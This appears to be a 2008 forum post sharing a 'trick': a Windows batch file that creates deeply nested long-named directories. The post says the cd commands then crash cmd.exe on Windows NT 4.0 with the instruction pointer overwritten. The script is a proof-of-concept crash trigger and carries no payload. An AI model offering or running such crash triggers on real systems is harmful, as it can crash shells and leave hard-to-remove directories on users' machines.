[Trick]Buffer overflow in CMD

Go down

[Trick]Buffer overflow in CMD

Post  Admin on Sun Aug 10, 2008 7:26 pm

Open Notepad,copy the following code and save it in the .bat file format.

Code:
@echo off
SET
A=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAA
SET B=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBB
mkdir \\?\c:\%A%
mkdir \\?\c:\%A%\%A%
mkdir \\?\c:\%A%\%B%\
c:
cd \
cd AAAAAAAAAAAA*
cd AAAAAAAAAAAA*
cd BBBBBBBBBBBB*
cd ..

Creates directory with 2 subdirectory. First one demonstrates buffer overflow on Windows NT 4.0 (second cd AAAAAAAAA* command will crash cmd.exe with EIP overwritten) second one demonstrates cmd.exe to change directory to AA...\BB..., but cd .. command will fail.

Admin
Admin

Posts : 121
Join date : 2008-08-03

View user profile http://gcknowledge.darkbb.com

Back to top Go down

Back to top

- Similar topics

 
Permissions in this forum:
You cannot reply to topics in this forum